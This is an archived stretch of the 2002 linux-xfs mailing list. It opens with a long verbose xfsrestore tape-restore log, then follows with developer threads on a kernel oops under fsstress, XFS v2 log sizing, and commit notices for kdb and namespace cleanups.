1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: examining media file 0 xfsrestore: file 0 in object 0 of stream 0 xfsrestore: file 0 in stream, file 0 of dump 0 on object xfsrestore: found dump matching specified id: xfsrestore: hostname: cecilia xfsrestore: mount point: /usr/data/cecilia xfsrestore: volume: /dev/sda7 xfsrestore: session time: Fri Nov 1 13:57:48 2002 xfsrestore: level: 0 xfsrestore: session label: "cecilia" xfsrestore: media label: "xfsdump-01-Nov-02 " xfsrestore: file system id: 4dc7ba0c-6588-11d5-9457-f244c3bff842 xfsrestore: session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: media id: 9606a4a5-3517-497d-81c7-7f3e71d55430 xfsrestore: searching media for directory dump xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 0 xfsrestore: initializing directory attributes registry xfsrestore: NOTE: attempt to reserve 16336 bytes for /d/premo2/jansen/tmp/xfsres torehousekeepingdir/dirattr using F_ALLOCSP64 failed: Operation not permitted (1 ) xfsrestore: NOTE: attempt to reserve 16336 bytes for /d/premo2/jansen/tmp/xfsres torehousekeepingdir/dirattr using F_ALLOCSP64 failed: Operation not permitted (1 ) xfsrestore: initializing directory entry name registry xfsrestore: NOTE: attempt to reserve 1270856 bytes for /d/premo2/jansen/tmp/xfsr estorehousekeepingdir/namreg using F_ALLOCSP64 failed: Operation not permitted ( 1) xfsrestore: NOTE: attempt to reserve 1270856 bytes for /d/premo2/jansen/tmp/xfsr estorehousekeepingdir/namreg using F_ALLOCSP64 failed: Operation not permitted ( 1) xfsrestore: initializing directory hierarchy image xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 0 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 1 xfsrestore: examining media file 1 xfsrestore: file 1 in object 0 of stream 0 xfsrestore: file 1 in stream, file 1 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 1 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 2 xfsrestore: examining media file 2 xfsrestore: file 2 in object 0 of stream 0 xfsrestore: file 2 in stream, file 2 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 2 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 3 xfsrestore: examining media file 3 xfsrestore: file 3 in object 0 of stream 0 xfsrestore: file 3 in stream, file 3 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 3 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 4 xfsrestore: examining media file 4 xfsrestore: file 4 in object 0 of stream 0 xfsrestore: file 4 in stream, file 4 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 4 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 5 xfsrestore: examining media file 5 xfsrestore: file 5 in object 0 of stream 0 xfsrestore: file 5 in stream, file 5 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 5 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 6 xfsrestore: examining media file 6 xfsrestore: file 6 in object 0 of stream 0 xfsrestore: file 6 in stream, file 6 of dump 0 on object xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: short read record 1 (nread == 245760) xfsrestore: number of mmap calls for windows = 1 xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 0, file 6 xfsrestore: drive op: end read xfsrestore: drive op: begin read xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: tape op: forward space file 1 xfsrestore: tape op: get status xfsrestore: tape status = fmk onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = eod onl xfsrestore: hit EOD xfsrestore: drive op: get device class xfsrestore: drive op: eject media xfsrestore: tape op: closing drive ============================ change media dialog ============================= please change media in drive 1: media change declined (timeout in 3600 sec) 2: display media inventory status 3: list needed media objects 4: media changed (default) -> examining new media --------------------------------- end dialog --------------------------------- xfsrestore: drive op: begin read xfsrestore: preparing drive xfsrestore: tape op: opening drive xfsrestore: tape op: get status xfsrestore: tape status = bot onl xfsrestore: tape op: get block size info xfsrestore: variable block size tape drive at /dev/nst0 xfsrestore: tape op: get block size info xfsrestore: recommended tape media file size set to 0x10000000 bytes xfsrestore: recommended tape media mark separation set to 0x1000000 bytes xfsrestore: determining tape record size: trying 1048576 (0x100000) bytes xfsrestore: tape op: get status xfsrestore: tape status = bot onl xfsrestore: tape positioned at BOT: doing redundant rewind xfsrestore: tape op: rewind 0 xfsrestore: tape op: get status xfsrestore: tape status = bot onl xfsrestore: tape op: reading 1048576 bytes xfsrestore: tape op: get status xfsrestore: tape status = onl xfsrestore: nread > 0 and not EOD, not EOT, and not at a file mark on variable b locksize drive indicates correct blocksize found xfsrestore: validating media file header xfsrestore: media file header valid: media file ix 0 xfsrestore: tape record size set to header's record size = 245760 xfsrestore: read first record of first media file encountered on media: recsz == 245760 xfsrestore: examining media file 0 xfsrestore: file 0 in object 1 of stream 0 xfsrestore: file 7 in stream, file 0 of dump 0 on object xfsrestore: dump session label: "cecilia" xfsrestore: dump session id: dc3df92e-a248-446e-8262-bf260a803b7e xfsrestore: stream 0, object 1, file 0 xfsrestore: reading directories xfsrestore: reading the ino map xfsrestore: drive op: read: wanted 65536 (0x10000) xfsrestore: tape op: reading 245760 bytes xfsrestore: drive op: return read buf: sz 65536 (0x10000) xfsrestore: reading the directories xfsrestore: drive op: read: wanted 256 (0x100) xfsrestore: drive op: return read buf: sz 256 (0x100) xfsrestore: directory 128 0 (0): updating xfsrestore: drive op: read: wanted 24 (0x18) xfsrestore: drive op: return read buf: sz 24 (0x18) xfsrestore: drive op: read: wanted 24 (0x18) xfsrestore: drive op: return read buf: sz 24 (0x18) xfsrestore: drive op: read: wanted 24 (0x18) xfsrestore: drive op: return read buf: sz 24 (0x18) xfsrestore: drive op: read: wanted 256 (0x100) xfsrestore: drive op: return read buf: sz 256 (0x100) xfsrestore: directory 131 0 (0): upgrading to dir xfsrestore: drive op: read: wanted 24 (0x18) [ about 9 MB of stuff deleted ] -- ------- Stephan From owner-linux-xfs@oss.sgi.com Tue Nov 12 15:09:25 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 15:09:29 -0800 (PST) Received: from deliverator.sgi.com (deliverator.SGI.COM [204.94.214.10] (may be forged)) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACN9PuR019531 for ; Tue, 12 Nov 2002 15:09:25 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by deliverator.sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id PAA02305 for ; Tue, 12 Nov 2002 15:11:00 -0800 (PST) mail_from (nathans@wobbly.melbourne.sgi.com) Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA18076; Wed, 13 Nov 2002 10:09:43 +1100 Received: (from nathans@localhost) by wobbly.melbourne.sgi.com (SGI-8.9.3/8.9.3) id KAA47711; Wed, 13 Nov 2002 10:09:42 +1100 (EST) Date: Wed, 13 Nov 2002 10:09:41 +1100 From: Nathan Scott To: Eric Sandeen , tom wang Cc: linux-xfs@oss.sgi.com Subject: Re: the cvs kernel oops !! Message-ID: <20021113100941.A433614@wobbly.melbourne.sgi.com> References: <1037116327.14690.42.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <1037116327.14690.42.camel@stout.americas.sgi.com>; from sandeen@sgi.com on Tue, Nov 12, 2002 at 09:52:07AM -0600 X-archive-position: 1664 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs On Tue, Nov 12, 2002 at 09:52:07AM -0600, Eric Sandeen wrote: > Whoops, it's my turn to be short on coffee this morning... as Steve > points out, this is generic xattr code, not xfs code. So, this might be > one for the list at http://acl.bestbits.at/ It would at least be > interesting to try it on an ext3+xattr filesystem. I wrote a bunch of this code - I'll take a look at it shortly. > I got a different stack this time, but also in the generic code. It's > not clear to me why this oopsed! cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Tue Nov 12 15:15:47 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 15:15:49 -0800 (PST) Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACNFkuR019980 for ; Tue, 12 Nov 2002 15:15:46 -0800 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 18BkHX-0007ka-00; Tue, 12 Nov 2002 23:17:19 +0000 Date: Tue, 12 Nov 2002 23:17:19 +0000 From: Christoph Hellwig To: tom wang Cc: linux-xfs@oss.sgi.com Subject: Re: the cvs kernel oops !! Message-ID: <20021112231719.A29744@infradead.org> References: <20021112102715.57735.qmail@web15205.mail.bjs.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20021112102715.57735.qmail@web15205.mail.bjs.yahoo.com>; from wddi_1976@yahoo.com.cn on Tue, Nov 12, 2002 at 06:27:15PM +0800 X-archive-position: 1665 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: linux-xfs On Tue, Nov 12, 2002 at 06:27:15PM +0800, tom wang wrote: > fsstress is the program provided in xfstest package. > the kernel I used is now cvs kernel. > > the oops is easy reproduce, so maybe you can fix it I could reproduce it here, too. The trace I got made no sense at all, though and when I put in a bunch of debug printks I got a very different oops output. After fixing the unchecked malloc today I couldn't reproduce it anymore. Can you please test the latest CVS tree? From owner-linux-xfs@oss.sgi.com Tue Nov 12 15:16:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 15:16:09 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACNG6uR020086 for ; Tue, 12 Nov 2002 15:16:06 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA16498; Tue, 12 Nov 2002 17:17:36 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA12983; Tue, 12 Nov 2002 17:17:36 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gACNHXa21705; Tue, 12 Nov 2002 17:17:33 -0600 Subject: Re: v2 vs v1 logs - number of transactions in log? From: Steve Lord To: Chris Pascoe Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037143052.27025.262.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 12 Nov 2002 17:17:33 -0600 X-archive-position: 1666 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Tue, 2002-11-12 at 07:51, Chris Pascoe wrote: > Hi, > > Quick questions for the developers - if one generates a filesystem with > version 2 logs and specifies a stripe unit size, of say 16kB, at this > time, does this reduce the number of transactions that can be in the log > at a given time? Is there a need to increase the log size from the > default to ensure better performance by making sure that the log doesn't > need to be flushed more frequently as a result of this change? > > I'm imagining as follows: if a log is, say, 1000 4kB filesystem blocks (as > long picked by a default mkfs command, hypothetically) when using version > 1, it can hold 8000 512-byte log entries. The same log in version 2 > format presumably holds less entries if everything is done stripe unit > aligned, yes? > > Quite probably I'm just plain confused, having not read how the version > two log code works yet - is there a simple answer? nope! There will be a difference, but not that large really. since most log items are pretty small, the actual extra amount of rounding is fairly minimal usually. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Tue Nov 12 15:21:10 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 15:21:12 -0800 (PST) Received: from ledzep.americas.sgi.com (eaganfw1.SGI.COM [198.149.7.1]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gACNL9uR020847 for ; Tue, 12 Nov 2002 15:21:10 -0800 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA27063; Tue, 12 Nov 2002 17:22:34 -0600 (CST) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id RAA76624; Tue, 12 Nov 2002 17:22:34 -0600 (CST) Subject: Re: the cvs kernel oops !! From: Eric Sandeen To: Christoph Hellwig Cc: tom wang , linux-xfs@oss.sgi.com In-Reply-To: <20021112231719.A29744@infradead.org> References: <20021112102715.57735.qmail@web15205.mail.bjs.yahoo.com> <20021112231719.A29744@infradead.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) Date: 12 Nov 2002 17:21:27 -0600 Message-Id: <1037143287.1584.6.camel@stout.americas.sgi.com> Mime-Version: 1.0 X-archive-position: 1667 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: sandeen@sgi.com Precedence: bulk X-list: linux-xfs As another datapoint, Christoph and I both tried it with ext3 on 2.5.47, and could not reproduce it. Also, could not reproduce it as a non-root user. -Eric On Tue, 2002-11-12 at 17:17, Christoph Hellwig wrote: > On Tue, Nov 12, 2002 at 06:27:15PM +0800, tom wang wrote: > > fsstress is the program provided in xfstest package. > > the kernel I used is now cvs kernel. > > > > the oops is easy reproduce, so maybe you can fix it > > I could reproduce it here, too. The trace I got made no sense at > all, though and when I put in a bunch of debug printks I got a very > different oops output. After fixing the unchecked malloc today > I couldn't reproduce it anymore. Can you please test the latest > CVS tree? > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Tue Nov 12 16:38:09 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 16:38:14 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD0c8uR022124 for ; Tue, 12 Nov 2002 16:38:08 -0800 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAD0hKkq004595 for ; Tue, 12 Nov 2002 18:43:21 -0600 Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id gAD0cXP23822; Wed, 13 Nov 2002 11:38:33 +1100 Date: Wed, 13 Nov 2002 11:38:33 +1100 From: Keith Owens Message-Id: <200211130038.gAD0cXP23822@sherman.melbourne.sgi.com> Subject: TAKE - Accept ff 1x as well as ff dx for call *(%reg) in kdb backtrace X-archive-position: 1668 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: kaos@sherman.melbourne.sgi.com Precedence: bulk X-list: linux-xfs On i386 the call to a notifier chain (e.g. for panic) generates ff 1x rather than the expected ff dx. Handle that case so panic() backtraces are sensible. Date: Tue Nov 12 16:35:27 PST 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132917a linux/arch/i386/kdb/kdbasupport.c - 1.23 linux/arch/i386/kdb/ChangeLog - 1.13 From owner-linux-xfs@oss.sgi.com Tue Nov 12 18:35:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 18:35:46 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD2ZguR025421 for ; Tue, 12 Nov 2002 18:35:42 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAD0bFG8017577 for ; Tue, 12 Nov 2002 16:37:16 -0800 Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id NAA20718 for linux-xfs@oss.sgi.com; Wed, 13 Nov 2002 13:35:56 +1100 (EST) Date: Wed, 13 Nov 2002 13:35:56 +1100 (EST) From: Nathan Scott Message-Id: <200211130235.NAA20718@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - squash namespace collision, type cleanups X-archive-position: 1669 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@snort.melbourne.sgi.com Precedence: bulk X-list: linux-xfs At Steve's prodding, change AT_* to XFS_AT_* to prevent potential namespace collisions should someone rewrite, say, the module sub- system and expose us to elf.h. Move several type declarations to more appropriate places - ultimately, we should aim to get rid of all (kernel) includes in xfsprogs, this is just some legwork to get us closer to that goal for the XFS headers we will always want to share. cheers. Date: Tue Nov 12 18:25:49 PST 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/linux-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:132930a linux/fs/xfs/xfs_vnodeops.c - 1.572 linux/fs/xfs/xfs_dmapi.c - 1.84 linux/fs/xfs/linux/xfs_file.c - 1.80 linux/fs/xfs/linux/xfs_vnode.c - 1.105 linux/fs/xfs/linux/xfs_iops.c - 1.181 linux/fs/xfs/linux/xfs_ioctl.c - 1.81 linux/fs/xfs/linux/xfs_vnode.h - 1.69 linux/fs/xfs/xfs_acl.c - 1.38 linux/fs/xfs/xfs_cap.c - 1.8 - Change AT_* to XFS_AT_* to prevent namespace collisions. linux/fs/xfs/xfs_types.h - 1.63 linux/fs/xfs/linux/xfs_linux.h - 1.93 linux/fs/xfs/xfs.h - 1.33 linux/fs/xfs/support/uuid.h - 1.6 linux/fs/xfs/support/uuid.c - 1.10 linux/fs/xfs/support/time.h - 1.8 linux/fs/xfs/linux/xfs_stats.h - 1.4 linux/fs/xfs/xfs_fs.h - 1.5 - Move some type declarations into more appropriate places. From owner-linux-xfs@oss.sgi.com Tue Nov 12 19:00:55 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 19:00:58 -0800 (PST) Received: from web15202.mail.bjs.yahoo.com ([61.135.128.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD30suR026124 for ; Tue, 12 Nov 2002 19:00:55 -0800 Message-ID: <20021113030224.57610.qmail@web15202.mail.bjs.yahoo.com> Received: from [210.72.245.11] by web15202.mail.bjs.yahoo.com via HTTP; Wed, 13 Nov 2002 11:02:24 CST Date: Wed, 13 Nov 2002 11:02:24 +0800 (CST) From: =?gb2312?q?tom=20wang?= Subject: Re: the cvs kernel oops !! To: Eric Sandeen Cc: linux-xfs@oss.sgi.com In-Reply-To: <1037143287.1584.6.camel@stout.americas.sgi.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Content-length: 1900 X-archive-position: 1670 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: wddi_1976@yahoo.com.cn Precedence: bulk X-list: linux-xfs Just now, I tried that test on the cvs kernel again, it did not oops anym= ore, but it is locked after a while, I studied all the process trace of the syst= em,=20 it seems that only one process is locked, the trace is here. __down() __down_failed() [xfs].text.lock.xfs_log xlog_state_get_iclog_space() xlog_write() xfs_log_write() xfs_trans_commit() xfs_attr_rolltrans=A3=A8=A3=A9 xfs_attr_mode_addname() xfs_attr_set() linvfs_setxattr() setxattr() sys_lsetxattr() system_call() (It seems that some process was wirting the log to disk. but no other proce= ss was writing to disk at this time) I think it is easy reproduce in your box. (BTW if we compiled xfs with DEBU= G option, the xfsidbg module can not been installed) thanks. tom =20 =20 =20 =20 =20 =20 =20 =20 Eric Sandeen =B5=C4=D5=FD=CE=C4=A3=BA As another datapo= int, Christoph and I both tried it with ext3 on 2.5.47, and could not reproduce it. Also, could not reproduce it as a non-root user. -Eric On Tue, 2002-11-12 at 17:17, Christoph Hellwig wrote: > On Tue, Nov 12, 2002 at 06:27:15PM +0800, tom wang wrote: > > fsstress is the program provided in xfstest package. > > the kernel I used is now cvs kernel.=20 > >=20 > > the oops is easy reproduce, so maybe you can fix it >=20 > I could reproduce it here, too. The trace I got made no sense at > all, though and when I put in a bunch of debug printks I got a very > different oops output. After fixing the unchecked malloc today > I couldn't reproduce it anymore. Can you please test the latest > CVS tree? >=20 --=20 Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 --------------------------------- Do You Yahoo!? "=CA=C7IT=BE=AB=D3=A2=C2=F0=A3=BF=D0=A1=CA=D4=C5=A3=B5=B6=BB=F1=CA=B1=C9=D0= =B4=F3=BD=B1=A3=A1" [[HTML alternate version deleted]] From owner-linux-xfs@oss.sgi.com Tue Nov 12 19:27:22 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 12 Nov 2002 19:27:25 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAD3RMuR026783 for ; Tue, 12 Nov 2002 19:27:22 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by zok.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id 